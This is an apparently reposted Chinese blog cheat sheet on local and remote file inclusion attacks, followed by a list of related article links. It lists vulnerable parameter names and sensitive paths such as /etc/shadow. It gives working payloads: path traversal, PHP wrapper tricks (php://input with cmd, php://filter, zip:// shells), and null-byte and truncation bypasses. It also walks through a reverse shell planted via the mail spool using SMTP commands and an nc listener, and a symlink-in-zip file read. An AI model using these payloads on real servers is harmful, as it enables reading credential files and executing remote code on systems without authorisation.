2019独角兽企业重金招聘Python工程师标准>>>

说明

日常做的一些摘抄及自己测试过程中的一些笔记,如有版权或错误欢迎留言指正。

常见敏感漏洞字段

&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=

一些敏感的本地可读取路径

# 有很多,详见fuzzdb,下面仅举例部分
/etc/shadow
/etc/passwd
/etc/hosts
/root/.bash_history      # 找user add,cd,MySQL,ssh,nohop看敏感目录和文件等
/etc/syscomfig/network-scripts/ifcfg-eth1
/etc/syscomfig/network-scripts/ifcfg-eth0
/proc/self/environ

常用的Payload

# 有一个paper整理很不错,大致翻一下。
# 地址: https://www.exploit-db.com/docs/40992.pdf# 常规规则
/script.php?page=../../../../../../../../etc/passwd
/script.php?page=file://etc/passwd# PHP Expect Wrapper 默认此php拓展并未开启
php?page=expect://ls# PHP file://Wrapper post方式经常出现
/fi/?page=php://input&cmd=ls# PHP php://filter
vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
vuln.php?page=php://filter/resource=/etc/passwd# 上传包含php反弹shell的压缩文件
vuln.php?page=zip://path/to/file.zip%23shell# LFI via /proc/self/environ
# 如果可能包含/proc/self/environ的话,尝试在UA中写入shell代码,然后包含/proc/self/environ执行# Useful Shells
<? system('uname -a');?># Null Byte Technique
vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd%2500# Truncation LFI Bypass
vuln.php?page=/etc/passwd........................................................................................
vuln.php?page=../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
vuln.php?page=/etc/passwd/../../../../../../../../../../../../../../../../../..# 日志文件包含,比如系统日志,404日志,web日志等# Email a Reverse Shell
# 如果一个网站没有MX记录指定,使用www-data或者apache user调用系统smtp存储发送邮件的话,那么可以尝试在邮件内容中写入payload,会被存储在/var/spool/mail/www-data,访问vuln.php?page=/var/spool/mail/www-data触发反弹shell# 具体利用
# 爆破查看是否有web容器用户
smtp-user-enum -M VRFY -U username.txt -t 10.0.0.0
# 使用web容器用户(如www-data) telnet发送邮件
telnet 10.0.0.1 25
HELO localhost
MAIL FROM:<root>
RCPT TO:<www-data>
DATA
反弹php shell代码# 反弹后,本机连接payload中的端口
nc -lvv 8000# 建议对照英文版阅读,可能部分词语翻译不清楚

利用php在windows下的bug

# 向任意php页面发包上传文件都会在tmp目录生成临时文件(php特性),文件名前缀为php加3个或3个以上的随机大小写字母加数字。(如: php47B6) 并且存在时间只有一瞬间。
# 而php在windows下有个bug,就是能使用<<当通配符用。使用<<符号相当于使用*号通配符。
# 依据上面特性包含文件,常见文件操作函数都受此影响。
http://localhost/file.php?b4dboy=../../../../../../../windows/tmp/php<<# 详见作者博客:http://secoff.net/archives/223.html

一些云服务的文件读取绕过

# 创建软连接绕过沙盒限制读取文件# 1.创建一个链接文件到/etc/passwd
ln -s /etc/passwd link# 2. 压缩文件,同时保留链接
zip --symlinks test.zip link# 3.上传test.zip文件,系统会自动解压缩# 4. 代码文件当中会返回/etc/passwd的内容。

Dockerfile可控任意文件读取

# Docker的一些好玩的利用下次再说
WORKDIR /
COPY etc/passwd /tmp
VOLUME ["/etc", '/mnt']

其他

其他一些特殊CMS造成的暂且不提,如jsp WEB-INF/web.xml泄漏等

另份总结

# 感谢各位作者的付出分享。
http://blog.csdn.net/cic10235/article/details/52103984

转载于:https://my.oschina.net/u/1188877/blog/823110

LFI/RFI漏洞相关相关推荐

  1. 文件包含(LFI/RFI)

    "惩恶扬善,取财有道" 这八个字应该是这个时代,白帽子职业,最有尊严的生存方式. 0x00 环境准备 phpstudy sublime firefox(hackbar) 0x01 ...

  2. 路由器固件下的小试牛刀,与漏洞相关的经验分享

    本篇文章以路由器固件相关漏洞来演示,从0到1分享经验. 本地虚拟机搭建ubuntu 16.04 ubuntu iso下载地址:http://mirrors.aliyun.com/ubuntu-rele ...

  3. Iog4j2漏洞相关技术分析

    背景 2021年12月初,极光安全团队通过安全威胁舆情发现Apache Log4j2 存在远程代码执行漏洞,迅速对该漏洞危害性评估和涉及面漏斗分析,制定了应急响应方案,对涉及到的代码组件类和主机资产类 ...

  4. struts2S2-045漏洞相关信息

    2019独角兽企业重金招聘Python工程师标准>>> Struts2存在远程代码执行的严重漏洞.目前Struts2官方已经确认漏洞(漏洞编号S2-045,CVE编号:cve-201 ...

  5. url存在宽字节跨站漏洞_【XSS漏洞】XSS漏洞相关总结v1.0

    点击上方"公众号" 可以订阅哦! Hello,各位小伙伴周五晚上好~ 终于到了XSS漏洞的完结篇啦~~ 感觉本公众号写的最多的就是XSS,现在可以告一段落了... 让我们来看看第一 ...

  6. BEAST 漏洞相关

    2019独角兽企业重金招聘Python工程师标准>>> 漏洞名称: SSL/TLS Protocol Initialization Vector Implementation Inf ...

  7. 2021-7-5目录穿越ssrf配合RFI漏洞学习笔记转

    目录 什么是目录遍历? 漏洞原理 实验 0x00  基础目录遍历 0x01  绝对路径 0x02  双写../绕过 0x03  URL编码绕过 0x04  绝对路径配合../ 0x05  截断文件后缀 ...

  8. 年轻人不讲武德!200个网络渗透测试工具大汇总

    最近有粉丝私信我说能不能写一期资料整理的文章 那么....它来了! 以下工具适合渗透测试人员,安全研究人员. 可以通过以下命令检查所有的工具: git clone --recursive https: ...

  9. Lockdoor Framework:一套自带大量网络安全资源的渗透测试框架

    博客&文章 Reddit:[传送门] Medium.com:[传送门] Xploit Lab:[传送门] Station X:[传送门] Kelvin Security :[传送门] All ...

最新文章

  1. 蓝桥杯-搭积木-java
  2. vrrp的组播地址是多少
  3. Python爬虫开发教程,一看就懂!
  4. c语言中字符串操作的工具类
  5. oracle 10g/11g 命令对照,日志文件夹对照
  6. java定时执行一次_java Timer(定时调用、实现固定时间执行)
  7. const与define之间的区别?
  8. extjs 方法执行顺序_百战程序员:方法论
  9. 链表——【线性表(二)】
  10. windows脚本编制引擎_从零开始的场景编辑器(二):脚本系统
  11. 怎么看待苹果公司要求分成微信、知乎打赏32%?
  12. Java、python实现啊哈算法 —— chapter3 枚举 炸弹人
  13. 服务器系统在虚拟机安装win7系统安装教程,虚拟机安装教程图解 虚拟机安装win7步骤...
  14. 吃鸡显示连接服务器超时,吃鸡 怎么显示连接超时 | 手游网游页游攻略大全
  15. Python中使用多个分隔符分隔字符串re.split
  16. Sqilabs第五关注入常用注入方式详解
  17. Python统计文件夹里文件个数及每一个文件的行数
  18. craig gentry_为Craig投票!
  19. 教你十种打领带的方法
  20. 解决Mac下pycharm不提示element.click()方法

热门文章

  1. 【P28】分立耳放的修正以及衍生版本对比
  2. 360安全杀毒软件扫描计算机病毒吗,360杀毒软件全盘扫描杀毒教程
  3. 智能家居之温湿度传感器
  4. 在MySQL内部存储代码
  5. Android Retrofit详解(retrofit:2.3.0)
  6. k1658停运_2016年10月20日火车停运信息
  7. 1008.顺序结构习题:摄氏温度转换为华氏温度和绝对温度
  8. 你理解常见如阿里,和友商大数据平台的技术体系差异以及发展趋势和技术瓶颈,在存储和计算两个方面进行概述
  9. deepinV20一路艰辛系列六:更新微信到最新版本
  10. stem教育与创客教育